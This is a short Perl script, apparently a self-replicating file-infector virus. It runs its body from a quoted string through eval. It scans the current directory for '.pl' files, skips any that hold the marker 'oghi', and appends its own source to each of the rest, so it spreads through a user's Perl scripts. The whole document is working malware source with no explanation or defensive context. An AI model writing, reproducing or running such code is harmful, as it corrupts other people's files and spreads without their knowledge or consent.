$_ = q{
    @oghi = <*>;

    files:
    foreach(@oghi){
        if ( m^.pl^ ){
            $a = $_;

            open(file,$a);
            while (<file>){
                next files if m`oghi`;
            }
            close file;

            open(file,'>>'.$a );
            open(self,$0);

            print file while <self>;

            close file;
            close self;
        }
    }
};
eval;